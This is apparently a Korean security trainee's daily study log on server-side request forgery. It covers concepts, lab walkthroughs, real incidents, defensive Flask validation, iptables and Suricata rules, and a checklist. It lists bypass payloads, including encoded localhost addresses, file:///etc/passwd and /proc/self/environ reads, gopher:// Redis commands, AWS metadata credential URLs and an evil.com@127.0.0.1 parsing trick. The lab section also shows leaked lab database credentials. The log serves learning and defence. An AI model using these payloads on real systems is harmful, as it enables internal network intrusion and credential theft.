📄 2026.02.05 (Day 71) - SSRF (Server-Side Request Forgery) 취약점

1. 핵심 개념 정리

SSRF (Server-Side Request Forgery) 기본 개념

#	핵심 개념	설명	실무/보안 관점
1	SSRF 정의	서버가 공격자가 조작한 URL로 요청을 보내도록 유도하는 취약점	내부망 자원 접근, DB 설정 파일 탈취, 클라우드 메타데이터 접근 가능
2	공격 메커니즘	사용자 입력 URL을 서버가 검증 없이 그대로 요청하여 발생	방화벽 우회, 서버 간 신뢰 관계 악용
3	내부 시스템 접근	외부에서 접근 불가능한 내부 IP/포트에 서버를 통해 접근	관리자 페이지, 내부 API, DB 직접 접근
4	정보 수집	서버 응답을 통해 내부 네트워크 구조, 서비스 버전 파악	포트 스캔, 서비스 배너 그래빙 가능
5	클라우드 환경 공격	AWS EC2 메타데이터 엔드포인트(169.254.169.254) 접근	IAM 크레덴셜, 인스턴스 정보 탈취

SSRF 공격 유형별 분류

#	핵심 개념	설명	실무/보안 관점
6	Basic SSRF	직접적으로 내부 URL 요청 (예: url=http://127.0.0.1/admin)	가장 기본적인 형태, 필터링 적용 시 탐지 용이
7	Blind SSRF	응답을 직접 확인할 수 없지만 요청은 발생	타이밍 기반 분석, 외부 서버로 콜백 유도
8	URL Shortener 악용	단축 URL로 302 리다이렉트하여 필터링 우회	실제 목적지를 숨기고 검증 우회
9	프로토콜 변조	file://, ftp://, gopher:// 등 비HTTP 프로토콜 사용	로컬 파일 읽기, 다른 서비스 프로토콜 악용
10	POST 기반 SSRF	JavaScript로 POST 요청을 내부 시스템에 전송	CSRF와 유사하지만 서버에서 요청 발생

SSRF 필터링 우회 기법

#	핵심 개념	설명	실무/보안 관점
11	IP 표현 변환	127.0.0.1을 10진수(2130706433), 16진수(0x7F000001)로 변환	단순 문자열 매칭 필터링 우회
12	DNS 리바인딩	공격자 도메인의 DNS가 처음엔 외부 IP, 이후 내부 IP 반환	시간차 공격으로 검증 우회
13	URL 파싱 차이	서버 라이브러리마다 URL 해석 방식이 다른 점 악용	http://evil.com@127.0.0.1 형태의 모호한 URL
14	리다이렉트 체이닝	여러 단계 리다이렉트로 최종 목적지 숨김	URL Shortener, 자체 구축 리다이렉터 활용
15	IPv6 활용	[::1], [::] 등 IPv6 형식으로 localhost 표현	IPv4 필터링만 있는 경우 우회 가능

2. 실습 내용 정리

실습 1-1: URL Shortener를 이용한 SSRF 공격

목표: 단축 URL 서비스를 악용하여 내부 DB 설정 파일 접근

실습 환경:

공격 대상: eqst-ssrf-victim.com/include/db_conf.php
중계 서버: test.com (Flask 기반 302 리다이렉트)
단축 URL: shorturl.at을 통해 생성된 단축 링크

Flask 리다이렉트 서버 구성:

라우트: GET /
동작: return redirect(“http://eqst-ssrf-victim.com/include/db_conf.php", code=302)
실행: app.run(host=“0.0.0.0”, port=80)

공격 흐름:

Flask 리다이렉트 서버 구축 (302 응답으로 내부 URL 가리킴)
SSRF 취약 파라미터에 단축 URL 삽입
- http://lab.eqst.co.kr:8099/ssrf_2/imageview.php?url=[단축URL]
서버가 단축 URL 요청 → 302 리다이렉트 추적 → 내부 파일 접근
응답으로 DB 접속 정보 획득
- admin=adminuser//adminpassword
- db=ssrf_user//ssrf12#$

확인 항목:

URL 파라미터 입력값에 대한 프로토콜 검증 여부
302/301 리다이렉트 자동 추적 설정 확인
리다이렉트 체이닝 횟수 제한 여부
최종 도착 URL이 내부 IP 대역인지 검증 여부

보안 인사이트:

URL Shortener는 최종 목적지를 숨기는 효과적인 우회 수단
초기 URL 검증만으로는 부족하며, 리다이렉트 후 최종 URL도 검증 필요
대부분의 HTTP 라이브러리는 기본적으로 리다이렉트를 자동 추적함

실습 1-2: IP 인코딩을 통한 localhost 필터링 우회

목표: 다양한 IP 표현 방식으로 127.0.0.1 필터링 우회

실습 환경:

대상 시스템: 내부 관리자 페이지 (http://127.0.0.1/admin)
필터링 규칙: 127.0.0.1, localhost 문자열 차단
테스트 URL: imageview.php?url=

127.0.0.1의 다양한 표현 방식:

10진수: 2130706433 → http://2130706433/admin (필터 우회 성공)
16진수: 0x7F000001 → http://0x7F000001/admin (필터 우회 성공)
8진수: 017700000001 → http://0177.0000.0000.0001/admin (필터 우회 성공)
혼합: 0x7F.0.0.1 또는 127.1 (축약형)
IPv6 루프백: http://[::1]/admin 또는 http://[0:0:0:0:0:0:0:1]/admin
도메인: localhost, localhost.localdomain

IP 주소를 10진수로 변환 (Python):

0x7F * 256**3 + 0x00 * 256**2 + 0x00 * 256 + 0x01 = 2130706433

발견 가능한 취약 지점:

관리자 페이지 인증 우회
내부 API 엔드포인트 접근
설정 파일 다운로드
포트 스캔으로 내부 서비스 발견

탐지 패턴:

IP 주소를 정규화(normalize)하여 127.0.0.0/8 대역 전체 차단
DNS 역방향 조회 결과 검증
리다이렉트 후 최종 도착지 재검증

방어 방법:

URL 파싱 후 IP 주소로 변환하여 RFC1918 사설 IP 대역 차단
127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 전체 차단
IPv6 루프백(::1, 0:0:0:0:0:0:0:1) 추가 차단

실습 1-3: POST 기반 SSRF로 관리자 인증 우회

목표: JavaScript를 이용해 내부 관리자 페이지에 POST 인증 요청 전송

실습 환경:

공격 대상: http://eqst-ssrf-victim.com:8098/admin.php
인증 정보: login_id=adminID, login_pwd=adminPW
공격 벡터: SSRF 취약점 + XSS 또는 악성 페이지

POST 기반 SSRF 동작 흐름:

공격자가 SSRF 취약점이 있는 엔드포인트에 요청
- POST /proxy
- url=http://internal-admin:8098/admin.php
- data=login_id=adminID&login_pwd=adminPW
취약한 서버가 내부 관리자 페이지로 POST 요청 전송 (서버는 내부망에 접근 가능)
관리자 페이지는 서버에서 온 요청으로 인식하여 신뢰 (서버-to-서버 통신으로 간주)
인증 성공 응답이 공격자에게 반환됨

취약한 서버 코드 구조:

라우트: POST /proxy
url = request.form.get(‘url’)
data = request.form.get(‘data’)
문제: 사용자 입력 URL로 검증 없이 POST 요청 전송

탐지 패턴:

웹 서버에서 내부 IP 대역으로 발생하는 POST 요청
User-Agent가 HTTP 라이브러리(requests, urllib, curl) 패턴
짧은 시간 내 동일 서버에서 다수의 내부 API 호출

방어 방법:

내부 관리자 페이지는 추가 인증 수단 적용 (IP 화이트리스트, 2FA)
POST 요청에 CSRF 토큰 검증 필수
내부 API는 API Key 또는 JWT 기반 인증 적용

실습 1-4: 프로토콜 변조를 통한 로컬 파일 접근

목표: file:// 프로토콜을 이용해 서버의 로컬 파일 시스템 접근

실습 환경:

SSRF 취약 엔드포인트: /var/www/html/ssrf_2/imageview.php
목표 파일: /etc/passwd, /var/www/html/admin.php

프로토콜별 접근 방식:

file:// → 로컬 파일 시스템 접근
- file:///etc/passwd → 시스템 사용자 목록 노출
- file:///var/www/html/include/db_conf.php → 애플리케이션 설정 노출
- file:///proc/self/environ → 환경 변수 (DB 비밀번호 등)
ftp:// → 내부 FTP 서버 접근
- 백업 파일 다운로드
- 소스 코드 접근
gopher:// → 임의 TCP 프로토콜 전송
- Redis 명령 실행: gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html
- SMTP 릴레이: 내부 메일 서버 악용
- Memcached 캐시 데이터 조작
dict:// → Dictionary 프로토콜
- 포트 스캔 및 서비스 배너 그래빙

탐지 패턴:

http/https 외의 프로토콜 사용 시도
file://, ftp://, gopher://, dict:// 등 비표준 프로토콜
/etc/passwd, /proc/ 등 시스템 경로 접근 패턴

방어 방법:

프로토콜 화이트리스트 (http, https만 허용)
URL 파싱 후 scheme 검증: http, https 외 모두 거부
로컬 파일 접근 완전 차단

3. SSRF 공격 시나리오 분석

SSRF 공격 대상 비교

항목	내부 웹 서비스	클라우드 메타데이터	내부 데이터베이스	사용 시기/적용 방안
대상	관리자 페이지, 내부 API	AWS EC2, Azure IMDS	MySQL, Redis, MongoDB	내부 시스템 매핑 후 타겟 선정
접근 방법	http://127.0.0.1:8080/admin	http://169.254.169.254/latest/meta-data/	gopher://localhost:3306	프로토콜 및 포트 확인
획득 정보	설정 파일, 관리 기능	IAM 자격증명, 인스턴스 정보	데이터베이스 내용	권한 상승 및 데이터 탈취
위험도	높음	매우 높음	매우 높음	모두 즉시 패치 필요

실제 SSRF 공격 사례

예시	설명	보안 영향
Capital One 데이터 유출 (2019)	AWS EC2 메타데이터 접근으로 IAM 크레덴셜 탈취	1억 명 이상의 고객 정보 유출
Uber SSO 우회 (2016)	SSRF로 내부 인증 서버 접근하여 인증 토큰 획득	전체 시스템 접근 권한 획득
GitLab SSRF (2021)	Webhook 기능의 SSRF로 내부 Redis 접근	RCE로 이어져 서버 장악 가능
Google Cloud SSRF (2020)	메타데이터 서비스 접근으로 서비스 계정 토큰 획득	다른 GCP 리소스 접근 가능

4. 심화 분석

SSRF 공격 체인 구성

구분	1단계: 정찰	2단계: 우회	3단계: 침투	분석/인사이트
목표	내부 네트워크 구조 파악	필터링 우회 기법 적용	민감 정보 획득	단계적 접근으로 탐지 회피
기법	포트 스캔, 배너 그래빙	IP 인코딩, 리다이렉트	파일 다운로드, API 호출	각 단계마다 다른 방어 계층 돌파
도구	Burp Suite, SSRFmap	Python 스크립트, curl	gopher://, file://	자동화 도구와 수동 검증 병행
탐지 시점	비정상 스캔 패턴	우회 시도 시그니처	내부 자원 접근 로그	초기 단계 탐지가 가장 효과적

안전한 SSRF 방어 코드 구현 (Flask)

[취약한 코드] 구조:

라우트: GET /fetch
url = request.args.get(‘url’)
검증 없이 requests.get(url) 즉시 실행
문제: 어떤 URL이든 서버가 요청을 전송

[안전한 코드] 검증 절차:

프로토콜 검증
- urlparse(url).scheme 추출
- http, https 외 → 거부
호스트명 확인
- parsed.hostname 없으면 → 거부
IP 주소로 변환
- 도메인인 경우 socket.gethostbyname(hostname) 으로 DNS 조회
- IP로 변환 실패 시 → 거부
차단 대역 확인
- ipaddress.ip_network 로 CIDR 범위 비교
- 내부 IP 대역에 속하면 → 거부
포트 제한 (선택사항)
- 80, 443 외의 포트 → 거부
안전한 요청 실행
- requests.get(url, timeout=5, allow_redirects=False)
리다이렉트 처리
- 301/302/303/307/308 응답 시 Location 헤더 추출
- 최종 URL도 동일하게 is_safe_url() 검증

5. 실무/보안 적용

보안 전문가 관점 - SSRF 탐지 및 대응

단계/유형	탐지 포인트	로그 예시	대응 방안
정찰 단계	짧은 시간 내 다양한 내부 IP/포트 스캔·169.254.169.254 접근 시도·localhost 변형 패턴	GET /fetch?url=http://127.0.0.1:8080	내부 IP 접근 시도 즉시 차단·동일 IP의 연속 스캔 패턴 탐지·Rate Limiting 적용
우회 시도	IP 주소 인코딩(10진수, 16진수)·URL Shortener 사용·비표준 프로토콜 (file://, gopher://)	GET /fetch?url=https://bit.ly/xyz123	URL 정규화 후 재검증·리다이렉트 최종 목적지 검증·프로토콜 화이트리스트 적용
침투 단계	내부 관리자 페이지 접근·클라우드 메타데이터 접근·내부 DB 포트 접근	GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/	민감 내부 자원 접근 알림·즉시 세션 차단 및 조사·관련 계정 권한 재검토

네트워크 레벨 방어 (iptables)

웹 서버에서 내부 IP 대역으로 나가는 연결 차단:

iptables -A OUTPUT -p tcp -d 127.0.0.0/8 -j DROP
iptables -A OUTPUT -p tcp -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -p tcp -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -p tcp -d 192.168.0.0/16 -j DROP
iptables -A OUTPUT -p tcp -d 169.254.0.0/16 -j DROP

AWS 환경에서 메타데이터 서비스 보호 (IMDSv2 강제):

aws ec2 modify-instance-metadata-options 명령으로 –http-tokens required 설정
세션 토큰 없이는 메타데이터 접근 불가

SSRF 방어 점검 체크리스트

입력 검증:

URL 파라미터에 대한 프로토콜 화이트리스트 적용 (http, https만)
호스트명을 IP로 변환 후 내부 IP 대역 차단
IPv4와 IPv6 모두 검증
포트 번호 제한 (80, 443만 허용)

리다이렉트 처리:

리다이렉트 자동 추적 비활성화 또는 제한 (최대 1-2회)
리다이렉트 최종 목적지 URL도 동일하게 검증
URL Shortener 도메인 차단 또는 별도 검증

네트워크 레벨:

웹 서버에서 내부 IP 대역으로 나가는 트래픽 차단
AWS 환경: IMDSv2 강제 사용
방화벽에서 웹 서버의 아웃바운드 연결 제한

모니터링:

내부 IP 접근 시도 실시간 알림
169.254.169.254 접근 시도 즉시 차단 및 알림
동일 IP의 연속된 포트 스캔 패턴 탐지
비정상 프로토콜 사용 시도 로깅

6. 배운 점 및 인사이트

새로 알게 된 점

SSRF의 근본적인 위험성: SSRF는 단순한 정보 노출을 넘어, 방화벽으로 보호되는 내부 시스템에 직접 접근할 수 있다는 점에서 매우 치명적이다. 특히 클라우드 환경에서 169.254.169.254 메타데이터 엔드포인트 접근은 IAM 크레덴셜 탈취로 이어져 전체 인프라를 장악당할 수 있다.
IP 주소 표현의 다양성: 127.0.0.1을 단순 문자열로만 필터링하는 것은 무의미하다. 10진수(2130706433), 16진수(0x7F000001), 8진수, 심지어 127.1처럼 축약된 형태까지 모두 동일한 주소로 해석되기 때문에, IP 주소를 정규화한 후 검증해야 한다.
URL Shortener의 악용: 단축 URL 서비스는 최종 목적지를 숨기고 302 리다이렉트로 내부 자원에 접근하는 효과적인 우회 수단이다. 초기 URL 검증만으로는 부족하며, 리다이렉트 체인의 모든 단계를 검증하거나 리다이렉트 자동 추적을 비활성화해야 한다.
프로토콜의 위험성: file://, gopher://, dict:// 등 비HTTP 프로토콜은 로컬 파일 접근, Redis/Memcached 같은 내부 서비스 조작, 포트 스캔 등 다양한 공격 벡터로 활용된다. 반드시 http/https만 허용하는 화이트리스트 방식이 필요하다.
DNS 리바인딩 공격: 공격자가 제어하는 DNS 서버가 처음에는 외부 IP를 반환하다가, 잠시 후 내부 IP를 반환하는 방식으로 시간차 검증을 우회할 수 있다. 이를 방어하려면 DNS 캐시를 무시하고 매 요청마다 재검증해야 한다.

이전 학습과의 연결고리

CSRF와의 유사성: CSRF는 사용자의 권한으로 비정상 요청을 수행하지만, SSRF는 서버의 권한과 네트워크 위치를 악용한다. 두 취약점 모두 신뢰 관계를 악용하지만, SSRF가 더 치명적인 이유는 내부 네트워크 접근이 가능하기 때문이다.
XSS와의 차이점: XSS가 클라이언트에서 발생하는 취약점이라면, SSRF는 서버 측 취약점이다. 하지만 XSS를 통해 JavaScript로 SSRF를 트리거할 수 있다는 점에서 공격 체인으로 연결될 수 있다.
Path Traversal과의 연계: SSRF로 내부 시스템 접근 후, Path Traversal을 이용해 민감 파일을 탈취하는 연계 공격이 가능하다. file:// 프로토콜을 이용한 SSRF는 사실상 Path Traversal과 동일한 결과를 초래한다.

실무 적용 아이디어

보안 전문가 관점:

SSRF 탐지 룰 구축: Suricata/Snort에서 웹 서버가 내부 IP 대역으로 요청하는 패턴을 탐지하는 상관분석 룰 작성. 특히 AWS 메타데이터 서비스(169.254.169.254) 접근은 Critical 등급 알림 발생.
SSRF 허니팟 구축: 내부망에 가짜 관리자 페이지나 메타데이터 엔드포인트를 배치하고, 접근 시도 시 즉시 알림 및 공격자 IP 차단.
클라우드 환경 강화: AWS IMDSv2 강제 사용, Azure IMDS에 대한 네트워크 레벨 접근 제어, GCP 서비스 계정 권한 최소화 등 클라우드 특화 SSRF 방어 정책 수립.

침투 테스트 관점:

SSRF 자동화 도구 활용: SSRFmap, Gopherus 등 전문 도구로 다양한 프로토콜(gopher://, dict://)과 인코딩 조합을 자동 테스트.
단축 URL 기반 우회 테스트: bit.ly, tinyurl.com 등 주요 단축 URL 서비스를 이용해 리다이렉트 체인 검증 우회 가능성 점검.

7. Quick Reference

SSRF 공격 페이로드 모음 (교육 참고용)

기본 localhost 접근:

http://127.0.0.1/admin
http://localhost/admin

IP 인코딩 우회:

http://2130706433/admin → 10진수
http://0x7F000001/admin → 16진수
http://0177.0.0.1/admin → 8진수
http://127.1/admin → 축약형

IPv6 localhost:

http://[::1]/admin
http://[0:0:0:0:0:0:0:1]/admin

DNS 우회 (127.0.0.1로 리졸브):

프로토콜 변조:

file:///etc/passwd
file:///c:/windows/system32/drivers/etc/hosts
gopher://127.0.0.1:6379/_SET%20key%20value

AWS 메타데이터 접근:

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

URL 파싱 차이 악용:

http://evil.com@127.0.0.1/admin

SSRF 탐지 및 방어 체크리스트

구분	탐지/방어 항목	핵심 키워드	주요 내용	적용 방법
입력 검증	URL 파라미터 검증	화이트리스트, 프로토콜	http/https만 허용, 다른 프로토콜 차단	urlparse로 scheme 검증
IP 필터링	내부 IP 차단	RFC1918, loopback	127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 차단	ipaddress 라이브러리로 CIDR 검증
리다이렉트	리다이렉트 제한	allow_redirects=False	자동 리다이렉트 비활성화 또는 최종 URL 재검증	requests.get(url, allow_redirects=False)
네트워크	아웃바운드 제한	iptables, Security Group	웹 서버의 내부망 접근 방화벽 차단	iptables -A OUTPUT 규칙

Suricata SSRF 탐지 룰 예시 (교육 참고용)

AWS 메타데이터 접근 시도 탐지:

alert http → http_host에 “169.254.169.254” 포함 시 경고

localhost 변형 패턴 탐지:

pcre 패턴: url=(http|https)://(127.|localhost|0x7f|2130706433) 포함 시 경고

file:// 프로토콜 탐지:

content: “file://” 포함 시 경고

gopher:// 프로토콜 탐지:

content: “gopher://” 포함 시 경고

8. 트러블슈팅

문제	원인	해결 방법
localhost 필터링이 IP 인코딩으로 우회됨	문자열 매칭만으로 검증, IP 정규화 누락	URL 파싱 후 호스트를 IP 주소로 변환 · ipaddress 라이브러리로 CIDR 범위 검증 · 127.0.0.0/8 전체 대역 차단
URL Shortener로 내부 IP 접근 가능	초기 URL만 검증, 리다이렉트 최종 목적지 미검증	allow_redirects=False로 자동 추적 비활성화 · 리다이렉트 발생 시 Location 헤더도 동일하게 검증 · 단축 URL 서비스 도메인 차단 리스트 유지
file:// 프로토콜로 로컬 파일 읽기 가능	프로토콜 검증 누락, 모든 프로토콜 허용	프로토콜 화이트리스트 적용 (http, https만) · urlparse(url).scheme not in [‘http’, ‘https’] 차단 · WAF에서 file://, gopher:// 등 차단
DNS 리바인딩으로 시간차 공격 성공	DNS 조회 결과를 캐시하여 재사용	DNS 캐시 무효화, 매 요청마다 DNS 재조회 · 요청 전후 IP 주소 검증 일치 여부 확인 · DNS 응답 TTL 무시하고 즉시 재검증
AWS 메타데이터 서비스(169.254.169.254) 접근됨	169.254.169.254 IP 대역 필터링 누락	169.254.0.0/16 (Link-local) 전체 대역 차단 · AWS IMDSv2 강제 사용 (세션 토큰 필요) · iptables로 웹 서버 → 169.254.169.254 차단

Today’s Insight:

SSRF는 단순히 URL을 조작하는 취약점이 아니라, 서버가 가진 네트워크 위치와 권한을 탈취하는 공격이다. 방화벽으로 보호되는 내부 시스템, 클라우드 메타데이터 서비스, 내부 데이터베이스 등 외부에서 절대 접근할 수 없는 자원들이 SSRF를 통해 노출된다. 특히 AWS EC2 메타데이터 엔드포인트(169.254.169.254)는 IAM 자격증명을 반환하므로, 이를 탈취하면 전체 클라우드 인프라를 장악할 수 있다. 방어 측면에서는 단순 문자열 필터링이 아닌, IP 정규화 후 CIDR 범위 검증, 프로토콜 화이트리스트, 리다이렉트 체인 전체 검증이 필수적이다. 또한 네트워크 레벨에서 웹 서버의 아웃바운드 연결을 제한하고, 클라우드 환경에서는 IMDSv2 강제 사용 등 다층 방어 전략이 반드시 필요하다.

📄 2026.02.05 (Day 71) - SSRF (Server-Side Request Forgery) 취약점#

1. 핵심 개념 정리#

SSRF (Server-Side Request Forgery) 기본 개념#

SSRF 공격 유형별 분류#

SSRF 필터링 우회 기법#

2. 실습 내용 정리#

실습 1-1: URL Shortener를 이용한 SSRF 공격#

실습 1-2: IP 인코딩을 통한 localhost 필터링 우회#

실습 1-3: POST 기반 SSRF로 관리자 인증 우회#

실습 1-4: 프로토콜 변조를 통한 로컬 파일 접근#

3. SSRF 공격 시나리오 분석#

SSRF 공격 대상 비교#

실제 SSRF 공격 사례#

4. 심화 분석#

SSRF 공격 체인 구성#

안전한 SSRF 방어 코드 구현 (Flask)#

5. 실무/보안 적용#

보안 전문가 관점 - SSRF 탐지 및 대응#

네트워크 레벨 방어 (iptables)#

SSRF 방어 점검 체크리스트#

6. 배운 점 및 인사이트#

새로 알게 된 점#

이전 학습과의 연결고리#

실무 적용 아이디어#

7. Quick Reference#

SSRF 공격 페이로드 모음 (교육 참고용)#

SSRF 탐지 및 방어 체크리스트#

Suricata SSRF 탐지 룰 예시 (교육 참고용)#

8. 트러블슈팅#

📄 2026.02.05 (Day 71) - SSRF (Server-Side Request Forgery) 취약점

1. 핵심 개념 정리

SSRF (Server-Side Request Forgery) 기본 개념

SSRF 공격 유형별 분류

SSRF 필터링 우회 기법

2. 실습 내용 정리

실습 1-1: URL Shortener를 이용한 SSRF 공격

실습 1-2: IP 인코딩을 통한 localhost 필터링 우회

실습 1-3: POST 기반 SSRF로 관리자 인증 우회

실습 1-4: 프로토콜 변조를 통한 로컬 파일 접근

3. SSRF 공격 시나리오 분석

SSRF 공격 대상 비교

실제 SSRF 공격 사례

4. 심화 분석

SSRF 공격 체인 구성

안전한 SSRF 방어 코드 구현 (Flask)

5. 실무/보안 적용

보안 전문가 관점 - SSRF 탐지 및 대응

네트워크 레벨 방어 (iptables)

SSRF 방어 점검 체크리스트

6. 배운 점 및 인사이트

새로 알게 된 점

이전 학습과의 연결고리

실무 적용 아이디어

7. Quick Reference

SSRF 공격 페이로드 모음 (교육 참고용)

SSRF 탐지 및 방어 체크리스트

Suricata SSRF 탐지 룰 예시 (교육 참고용)

8. 트러블슈팅